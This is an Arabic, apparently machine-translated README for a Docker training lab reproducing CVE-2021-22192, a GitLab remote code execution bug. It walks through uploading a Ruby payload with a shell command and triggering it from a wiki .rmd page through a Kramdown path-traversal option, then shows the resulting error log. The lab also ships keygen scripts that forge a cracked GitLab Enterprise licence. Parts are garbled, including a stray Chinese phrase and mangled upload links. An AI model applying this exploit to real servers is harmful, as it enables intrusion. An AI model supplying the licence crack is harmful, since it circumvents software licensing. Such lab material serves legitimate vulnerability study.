
CVE-2021-22192 ميدان: ثغرة RCE لمستخدم غير مصرح له
CVE-2021-22192 ميدان تدريب: ثغرة RCE للمستخدمين غير المصرح لهم
CVE-2021-22192
├── README.md ............... [شرح ملف README هذا]
├── imgs .................... [صور مساعدة لشرح README]
├── gitlab .................. [دليل التثبيت لحاوية Gitlab]
│ ├── Dockerfile .......... [ملف بناء Docker لـ Gitlab]
│ ├── config .............. [دليل تثبيت تكوين Gitlab]
│ ├── data ................ [دليل تثبيت بيانات Gitlab]
│ ├── logs ................ [دليل تثبيت سجلات Gitlab]
│ ├── keys ................ [دليل تخزين ترخيص كسر Gitlab]
│ └── nginx ............... [دليل تكوين nginx المدمج لـ Gitlab (تكوين احتياطي، لا تعدل)]
├── runner .................. [دليل تثبيت حاوية Gitlab]
├── license ................. [دليل بناء حاوية كسر الترخيص]
│ ├── Dockerfile .......... [ملف بناء Docker للترخيص]
│ └── license.rb .......... [نص Ruby لتوليد ترخيص مكسور]
├── test .................... [دليل تصحيح Kramdown]
├── docker-compose.yml ...... [تكوين بناء Docker]
├── keygen.ps1 .............. [Windows: توليد ترخيص مكسور بنقرة واحدة]
├── keygen.sh ............... [Linux: توليد ترخيص مكسور بنقرة واحدة]
├── run.ps1 ................. [Windows: تشغيل ميدان Gitlab بنقرة واحدة]
├── run.sh .................. [Linux: تشغيل ميدان Gitlab بنقرة واحدة]
├── register.ps1 ............ [Windows: تسجيل Runner بنقرة واحدة]
├── register.sh ............. [Linux: تسجيل Runner بنقرة واحدة]
├── stop.ps1 ................ [Windows: إيقاف ميدان Gitlab بنقرة واحدة]
└── stop.sh ................. [Linux: إيقاف ميدان Gitlab بنقرة واحدة]
./keygen.sh أو ./keygen.ps1./run.sh أو ./run.ps1عند توليد زوج مفاتيح الكسر سابقًا، تمت كتابة المفتاح العمومي في خلفية حاوية Gitlab، والآن تحتاج إلى تحميل المفتاح الخاص عبر الواجهة الأمامية إلى Gitlab لإكمال الكسر:
./gitlab/keys/، انسخ محتوى .gitlab-license (المفتاح الخاص)Enter license key والصق المفتاح الخاص، ثم انقر على زر Upload license لإكمال الكسر
./register.sh $TOKEN أو ./register.ps1 $TOKENالآن يمكن لجميع المستودعات استخدام هذا Runner لتنفيذ نصوص CI (وظائف الأنابيب)

افترض أن اسم المستخدم في Gitlab هو ${username} واسم المستودع هو ${repository_name}، عندما يتم بناء SSG بنجاح باستخدام jekyll في المستودع،只需要访问 الرابط التالي:
http://127.0.0.1:8000/${username}/${repository_name}/public/
للاطلاع على العملية المحددة، راجع hackerone.
+ -> New snippet في الأعلىTitle بشكل عشوائي، وانقر على حقل الإدخال Description (optional)، ثم انقر على Attach a file، وارفع ملفًا باسم payload.rb بمحتوى التالي:puts "hello from ruby"
`echo exp was here > /tmp/exp`
في هذا الوقت، سيظهر رابط الملف في Description (optional)، على سبيل المثال: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)، وفي نفس الوقت تم رفع الملف إلى حاوية docker_gitlab في المسار /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (أما بالنسبة لـ Create snippet، فيمكن النقر أو لا، فقط تذكر هاش مسار الملف)
ملاحظة: لا تنشئ snippet عبر
Snippet -> New snippetفي الشريط الجانبي الأيسر لأحد المستودعات، وإلا سيصبح مسار الملف المعروض[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)، وفي الواقع سيتم رفعه إلى حاوية docker_gitlab في مسار/var/opt/gitlab/gitlab-rails/uploads/@hash/سلسلةعشوائية/payload.rb، وبسبب وجود سلسلة عشوائية في المنتصف، يصعب استغلاله.
+ New Project في الأعلى، وسمِّه بشكل عشوائي (مثل poc، أو لا تنشئ، يمكن استخدام مستودع موجود أيضًا)Wiki في اليسار، ثم انقر على Create your first pageTitle و Content بشكل عشوائي، ثم انقر على Create pagepoc، باسم poc.wiki (انقر على Clone repository في الزاوية اليمنى العليا، يمكنك العثور على أمر الاستنساخ: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki لتنزيل مستودع wiki محليًاpage1.rmd في الدليل الجذر لمستودع wiki، بمحتوى التالي (لاحظ استبدال هاش المسار بالهاش الذي حصلت عليه سابقًا):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 التي أنشأتها محليًا في شريط الفهرس الأيمن، انقر عليها/tmp/exp قد تم إنشاؤهبعد النقر على صفحة
page1.rmd، يمكنك في الواقع رؤية رسالة الخطأ فيgitlab/logs/gitlab-rails/exceptions_json.log، لكن هذا لا يؤثر على تنفيذ الأمر:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}